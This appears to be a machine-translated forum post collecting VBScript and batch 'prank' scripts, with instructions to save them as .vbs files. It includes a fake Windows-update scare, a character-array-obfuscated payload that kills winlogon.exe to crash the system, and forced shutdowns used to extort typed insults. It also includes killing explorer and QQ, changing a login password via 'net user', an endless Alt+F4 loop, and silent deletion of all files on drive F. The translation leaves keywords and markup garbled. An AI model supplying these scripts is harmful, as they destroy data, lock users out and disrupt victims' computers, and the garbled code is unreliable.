vbs manipulando código
------------------------------------------- -- --------------------------
Código:
Establecer ws=WScript.CreateObject (" WScript.Shell")
ws.popup"Hola a todos, estoy cambiando la atmósfera social, encantando a miles de chicas, estimulando el mercado cinematográfico y mejorando el contenido de los jóvenes.", 10, "Vamos", 64
ws.popup"Los árboles de jade están de cara al viento y son elegantes..."Gulu...Gulu...", lo siento, estaba ansioso y salí de mi camino primero. ¡Adiós!", 15, "adiós", 64
wscript.sleep 100000
ws.popup"Se descubre que hay actualizaciones importantes de Windows. no instalado El sistema descargará e instalará automáticamente las actualizaciones", 10
ws.popup"Descargando Windows Update...", 12
wscript.sleep 10000
ws.popup "Se ha descargado la actualización de Windows y se está instalando la actualización...", 12
wscript .sleep 3000
msgbox "El sistema ha detectado que la actualización de WINDOWS incluye software desconocido comcontroler.exe y está incrustado a la fuerza en su computadora", 4132, "¿Quiere escanearlo?"
msgbox"Nombre del software: comcontroler.exe "amp;vbcrlfamp;" "amp;vbcrlfamp;" Tamaño: 1,21 MB "amp;vbcrlfamp;""amp;vbcrlfamp;" Editor: Fantasy, Eternity (403746401)"amp; vbcrlfamp;""amp;vbcrlfamp;" /p>
msgbox "comcontroler.exe tiene factores inseguros", 4132, "Si se debe impedir su instalación"
msgbox "Error al bloquear, verifique si el firewall está activado"
wscript.sleep 15000
ws.popup"¡Instalación exitosa de la actualización de Windows!", vbinfmation, 20
msgbox"Es posible que su computadora haya sido invadida. Cambie su contraseña de QQ y otra información confidencial lo antes posible para evitar que QQ sea robado o perdido." vbinformation
ws.popup"Jaja, ¡he controlado tu computadora! ", 12, "Encantado de conocerte", 64
ws.popup "¿No lo crees? Usaré tu computadora para abrir mi espacio QQ y mostrártelo", 10
ws.run"/index.htm"
ws.popup" ¿Lo crees? ¿ahora? Abriré tu bloc de notas y te escribiré una carta en inglés", 20
ws.popup" El bloc de notas se abrirá y maximizará. En este momento, no muevas el objetivo a otro. Lugares. Ventana, espere pacientemente mientras termino de escribir la carta.
De lo contrario, ¡no seré responsable de provocar el caos en el sistema! "
ws.run "notepad", 3: wscript.sleep 2000
verybat=split("queridos amigos ~, encantado de conocerlos a ustedes, yo soy Entonces, lo siento, controlé tu computadora sin que tú me lo permitieras, por favor, disculpe, quiero decírselo a ustedes hoy, mis amigos. Incluso a través de nosotros enfrentamos las dificultades de hoy y de mañana, todavía tenemos un sueño, es un sueño profundamente arraigado en nuestros sueños comunes. ~ Tal vez sea cierto que no sabemos lo que tenemos hasta que lo perdemos, pero también es cierto que "No sabemos lo que nos hemos estado perdiendo hasta que llegue. Nos vemos luego con los mejores deseos tuyos, lhj", ,")
---------------------------------------- --------------------------
Código 2:
WScript.Echo( "Oye, ¡Gracias por abrirme, te he estado esperando durante mucho tiempo!" y TSName)
WScript.Echo("¿Eres un lindo calzado para niños XX?")
WScript .Echo("Ja, te extraño, ¿no lo sabes?")
WScript.Echo("¿Por qué estás aquí? ¿Quieres decir que no te preocupas por mí? ")
WScript.Echo("Eh, estoy tan enojado. Te he estado esperando durante tanto tiempo y mi corazón se está enfriando. ")
WScript.Echo("Yehei está muy enojado y las consecuencias serán graves.")
WScript.Echo("¡Oye! Tú también te sentirás miserable")
WScript.Echo("¿Quieres borrarme?")
WScript.Echo("Luego haz clic en él 100 veces, pero te sorprenderás")
WScript.Echo("Quedan 100 trazos, apúrate")
WScript.Echo("Quedan 99 trazos, ¡apúrate, pequeño tonto!")
WScript.Echo ("Quedan 98 visitas, ¡así que apúrate!")
WScript.Echo("Quedan 97 visitas. Eres estúpido, apúrate, no te molestaré primero Trabaja.
")
WScript.Echo("Quedan 96 trazos, ¡recuerda darte prisa!")
WScript.Echo("Quedan 95 trazos")
WScript. Echo("Quedan 94 trazos")
WScript.Echo("Quedan 93 trazos")
WScript.Echo("Quedan 92 trazos")
p>WScript.Echo("Quedan 91 trazos")
WScript.Echo("Quedan 90 trazos")
WScript.Echo("Quedan 89 trazos ")
WScript.Echo("Quedan 88 trazos")
WScript.Echo("Quedan 87 trazos")
WScript.Echo(" Quedan 86 trazos")
WScript.Echo("Quedan 85 trazos")
WScript.Echo("Quedan 84 trazos")
WScript .Echo("Quedan 83")
WScript.Echo("82 izquierdas")
WScript.Echo("81 izquierdas")
WScript.Echo("80 trazos restantes")
WScript.Echo("Quedan 79 trazos")
WScript.Echo("Quedan 78 trazos")
WScript.Echo("Quedan 77")
WScript.Echo("Quedan 76 veces")
WScript.Echo("Quedan 75 veces")
WScript.Echo("Quedan 74 veces")
WScript.Echo("Quedan 73 veces")
WScript.Echo ("Quedan 72 trazos")
WScript.Echo("Quedan 71 trazos")
WScript.Echo("Quedan 70 trazos")
WScript.Echo("Quedan 69 trazos")
WScript.Echo("Quedan 68 trazos")
WScript.Echo("Quedan 67 trazos")
p>WScript.Echo("Quedan 66 trazos")
WScript.Echo("Quedan 65 trazos")
WScript.Echo("Quedan 64 trazos ")
WScript.Echo("Quedan 63 trazos")
WScript.Echo("Quedan 62 trazos" )
WScript.Echo("Quedan 61 trazos")
WScript.Echo("Quedan 60 trazos")
WScript.Echo("Quedan 59 trazos) ")
WScript .Echo("Quedan 58 trazos")
WScript.Echo("Quedan 57 trazos")
WScript.Echo("56 trazos izquierda")
WScript.Echo("Quedan 55 visitas")
WScript.Echo("Quedan 54 visitas")
WScript.Echo("53 visitas a la izquierda")
WScript.Echo("52 izquierda")
WScript.Echo("51 izquierda")
WScript.Echo("Izquierda 50 veces")
WScript.Echo("Quedan 49 veces"
)
WScript.Echo("Quedan 48 trazos")
WScript.Echo("Quedan 47 trazos")
WScript.Echo("Aún quedan 46 trazos) izquierda")
WScript.Echo("45 trazos restantes")
WScript.Echo("44 trazos restantes")
WScript. Echo("43 visitas a la izquierda")
WScript.Echo("42 visitas a la izquierda")
WScript.Echo("41 visitas a la izquierda")
WScript.Echo(" Quedan 40 visitas")
WScript.Echo("Quedan 39 visitas")
WScript.Echo("Quedan 38 visitas")
WScript.Echo( "37 izquierda")
WScript.Echo("36 izquierda")
WScript.Echo("35 izquierda Siguiente")
WScript.Echo(" 34 izquierda")
WScript.Echo("33 izquierda")
WScript.Echo( "32 trazos izquierda")
WScript.Echo("31 trazos a la izquierda")
WScript.Echo("30 trazos a la izquierda")
WScript.Echo("29 a la izquierda")
WScript.Echo("28 izquierda")
WScript.Echo("27 izquierdas")
WScript.Echo("26 visitas restantes")
WScript.Echo("25 visitas izquierda")
WScript.Echo("Quedan 24 visitas")
WScript.Echo("Quedan 23 visitas")
WScript.Echo("22 golpes a la izquierda")
WScript.Echo("Aún quedan 21 trazos")
WScript.Echo("Quedan 20 trazos")
WScript.Echo( "Quedan 19 trazos")
WScript("Quedan 18 trazos")
WScript.Echo("Quedan 17 trazos")
WScript.Echo ("Quedan 16 trazos")
WScript.Echo("Quedan 15")
WScript.Echo("Quedan 14")
WScript.Echo( "13 izquierda")
WScript.Echo("12 izquierda")
WScript.Echo("11 izquierda")
WScript.Echo("10 izquierda Siguiente")
WScript.Echo("9 izquierda")
WScript.Echo("8 izquierda")
WScript.Echo( "7 izquierda ")
WScript.Echo("6 izquierda")
WScript.Echo("5 izquierda")
WScript.Echo("4 izquierda")
WScript.Echo("3 izquierda")
WScript.Echo("2 izquierda")
WScript.Echo("1 izquierda") p>
WScript.
Echo("Quedan 0")
WScript.Echo("Veo lo lamentable que eres, déjame perdonarte")
WScript.Echo("Aún quedan 0" )
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo") todavía queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo") p>
WScript.Echo("Aún queda algo ")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo queda algo")
WScript.Echo("Aún queda algo Siguiente")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo" "Izquierda")
WScript.Echo("Izquierda")
WScript.Echo("Izquierda")
WScript.Echo(" Todavía queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo( "Aún queda algo")
WScript.Echo("Aún queda algo queda algo")
WScript.Echo("Aún queda algo")
WScript.Echo ("Aún queda algo")
WScript. Echo("Aún queda algo")
WScript.Echo("Aún queda algo. ¡¡¡Para!!! Más despacio, tengo algo que decir. Quiero decir")
WScript.Echo("Aún queda algo, si sigues haciendo clic desapareceré")
WScript.Echo("Aún queda algo, no lo veré en el futuro . Ven a mí. Woohoo~555555")
WScript.Echo("Aún quedan cosas, ¡puedes optar por detenerte ahora!")
WScript.Echo("Ya está). Aún quedan cosas. Aún lo pides, ¿no quieres que lo retire ")
WScript.Echo("Aún queda algo, estoy un poco triste, ¿por qué tirarlo? ?")
WScript.Echo("Aún quedan. ¡Loco, estás un poco decepcionado! ")
WScript.Echo("Aún queda algo. Sí. ¡Solo haz clic en él, te odio!")
WScript.Echo("Aún queda algo, No entiendo, ¿te gustaría eliminarme? ")
WScript.Echo("¡Aún quedan algunos! ¿Realmente quieres eliminarme?")
WScript.Echo("Aún queda algo. Pero realmente te extraño... ")
WScript.Echo("Aún queda algo. No seas tan cruel, te amo !")
WScript.Echo( "Aún quedan algunos. Humph, ya que eres tan desalmado. ¡¡¡No me culpes por ser injusto!!!")
WScript .Echo("Debí haber desaparecido, pero extraño tu belleza, Dios omnipotente me dio otra oportunidad.
")
WScript.Echo("¿Quieres acabar conmigo? Luego haz clic una vez más")
WScript.Echo("¿Quieres acabar conmigo? Luego haz clic una vez más." Haz clic una vez")
WScript.Echo("¿Quieres acabar conmigo? Luego haces clic una vez más")
WScript.Echo("¿Quieres acabar conmigo? Luego haces clic una vez más")
WScript.Echo("¿Quieres acabar conmigo? Luego haz clic una vez más")
WScript.Echo("¿Quieres acabar conmigo? Entonces Simplemente haz clic una vez más")
WScript.Echo("¿Quieres terminar conmigo? Luego simplemente haz clic una vez más")
WScript.Echo("¿Quieres ¿Quieres terminar conmigo? Luego haces clic una vez más")
WScript.Echo("¿Quieres terminar conmigo? Luego haces clic una vez más")
WScript.Echo("¿Quieres terminar? para terminar conmigo? Luego haces clic una vez más")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje. QQ1021435988")
WScript.Echo("Jeje.
QQ1021435988")
---------------------------------------- --------------------------
Código de pantalla azul:
strs=array( 13, 105, 102, 32, 77, 115, 103, 66, 111, 120, 40, 34, -15133, -13625, -10515, -12873, -15632, -
23617, 34, 44 , 118, 98, 89, 101, 115, 78, 111, 44, 34, -12363, -12877, -13087, -
13634, 34, 41, 61, 118, 98, 121, 101, 115, 32, 116, 104, 101, 110, 32, 13, 10, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 32, 109, 115, 103
, 98, 111, 120, 32, 34, -15133, 89, -13899, -20026, -
20319, 33, 34, 13, 10, 101, 108, 115, 101, 13, 10, 32, 32, 32, 32, 109, 115, 103, 98, 111, 120, 32, 34, -17479, -19781, -19504, -
14129, 33 , 33, 32, -10249, -12630, -19507, -18525, -23636, -16202, -14655, -11589, -12350, -23636, -15133, -15635, -
13873 , -17966, -15925, 35, -23644, -23647, 64, 35, -23644, 37, 64, -24147, -24147, 35, -24147, -
24147, 63, 34 , 44, 54, 52, 44, 34, -11825, -10536, -16721, -
18202, 33, 33, 33, 33, 33, 33, 33, 33, 33, 34, 13, 10, 83, 101, 116, 32, 119, 115, 32, 61, 32, 67, 114, 101, 97, 116, 101, 79, 98, 106, 1
01, 99, 116, 40, 34, 87, 115, 99, 114, 105, 112, 116, 46, 83, 104, 101, 108, 108, 34, 41, 32, 13, 10, 119, 115, 99, 114, 105, 112, 116,
46, 115, 108, 101, 101, 112, 32, 32, 32, 49, 50, 48, 48, 13, 10, 119, 115, 46 , 114, 117, 110, 32, 34, 99, 109, 100, 32, 47, 99, 32, 115,
116, 97, 114, 116, 32, 47, 109, 105, 110, 32, 110, 116, 115, 100, 32, 45, 99, 32, 113, 32, 45, 112, 110, 32, 119, 105, 110, 108, 111, 1
03, 111, 110, 46, 101, 120, 101, 32, 49, 62, 110, 117, 108, 32, 50, 62, 110, 117, 108, 34, 44, 118, 98, 104, 105, 100, 101, 13, 10, 101
, 110, 100, 32, 105, 102, 1
3, 10, 13, 10, 13, 10)
para i=1 a UBound(strs)
runner=runneramp;chr(strs(i))
siguiente
Ejecutar corredor
------------------------------- - --------------------------------------
Soltar qq:
taskkill /im qq.exe /f /t
-------------------------- -- ----------------------------------------
10 Forzar apagado en segundos (el administrador de tareas no es válido):
shutdown -s -t 10
--------------------- ----- --------------------------------------------- -----
Caída:
iniciar cmd
0
------------ ------ -------------------------------------------- ------ -
Establezca la contraseña de inicio de sesión en 2010:
usuario de red "nombre de usuario" 2010
--------- ------- ------------------------------------------- ------- ---
Deje que la computadora tenga solo un fondo
taskkill /im /f /t explorer.exe
-- -------- ------------------------------------------ -------- ---------
El programa actual finaliza inexplicablemente:
set ws=createobject("wscript.shell") p>
do
ws.sendkeys "{f4}"
bucle
-------------- --------- ----------------------------------------- ---------
Indica continuamente que eres un cerdo:
do
msgbox("Eres un cerdo") p>
bucle
--- ---------------------------------- ---------------- ----------------
en caso de error, reanudar a continuación
dim WSHshellA
set WSHshellA = wscript.createobject( "wscript.shell")
WSHshellA.run "cmd.exe /c apagado -r -t 60 -c ""Digo que ¡Soy estúpido! Jaja, si no me lo dices, apagaré tu teléfono en un minuto. Si no me crees, inténtalo... ¡Hago lo que te digo! "" ", 0, true
dim a
do while(a lt; gt; "¡Soy un gran idiota! ¡Jaja! ¡Soy un gran cerdo gordo!")
a = inputbox ("¡Di que soy un gran idiota! ¡Jaja! ¡Soy un cerdo gordo! No apagaré tu máquina, solo di "¡Soy un gran estúpido! Jaja"" ", " No lo digas" , "No digas", 8000, 7000)
msgbox chr(13) chr(13) chr(13) a, 0, "MsgBox"
loop
msgbox chr(13) chr(13) chr(13) "Dilo antes, cerdo"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell ")
WSHshell.run "cmd.exe /c apagado -a", 0, verdadero
msgbox chr(13) chr(13) chr(13) "Jajajaja, es tan divertido. Es tan refrescante".
--------------------- ------- ----------------------------------
"Yo soy una bestia":
p>en caso de error, reanudar siguiente
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd .exe /c Shutdown -r -t 25 -c ""Llámame bestia. Si no me lo dices, apagaré tu computadora en 20 segundos. Si no lo haces No me creas, intenta..."" ", 0, true
dim a
do while(a lt; gt; "Soy una bestia")
a = inputbox ("Si dices que soy una bestia, no apagues el teléfono, date prisa y di ""Yo soy una bestia"" ", "No digas", "No digas ", 8000, 7000)
msgbox chr(13) chr(13) chr(13) a, 0, "MsgBox" p>
bucle
msgbox chr (13) chr(13) chr(13) "Solo dímelo antes"
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd.exe /c apagado -a", 0, verdadero
msgbox chr(13) chr( 13) chr(13) "Jajajaja, qué divertido"
-------------------------------- --------------- ------------------------
10 segundos para apagar:
en caso de error, reanudar a continuación p>
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd.exe /c apagado -r -t 10 - c ""Te han engañado"" ", 0, verdadero
--
-------------------------------------------------- ------------------
Cuadro de diálogo Flash:
do
msgbox("Has sido engañado ")
bucle
-------------------------------- - ------------------------------------
Apagar directamente: p>
en caso de error, reanudar siguiente
dim WSHshellA
set WSHshellA = wscript.createobject("wscript.shell")
WSHshellA.run "cmd .exe /c apagado -s ", 0, verdadero
------------------------------- --------------------------------------Aparece una vez por minuto:
hacer hasta i=10
i=i 1
msgbox "La temperatura de la CPU es demasiado alta, ¡se produjo un error grave del sistema!", 16 4096, "Aviso del sistema" p>
wscript .sleep 1000*60 'Puedes cambiar la hora tú mismo
bucle
----------------- ------- ------------------------------------------- -------lt;script language=" javascript"gt;
función hr(){
alert('No puedes desactivarlo^_^' )
hr();
}
lt;/scriptgt;
lt;body onLoad="hr()"gt ;
lt;/bodygt;
lt; p>
----------------------- ---------------------- ------------------------hacer mientras(1 )
msgbox "¡Estás muerto!"
bucle
¡Hay más! :
------------------------------------------ --- --------------------
Eliminar F:\Todos los archivos
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
WSHshell.run "cmd /c ""del f:\*.* / f /q /s "" ", 0, verdadero
------------------------------------ ----- ----------------------------------
Sigue presionando alt f4 (activa y desactiva todo...):
dim WSHshell
set WSHshell = wscript.createobject("wscript.shell")
while(1
)
WSHshell.SendKeys "{F4}"
bucle
------------------ - -------------------------------------------------
Nota: Hay un código entre las líneas divisorias. Cópielo en el documento TXT y guárdelo como .vbs o .vbe. ¡Espero que el autor lo adopte! ! ! Grupo Q: 108141490 -- jefe de aldea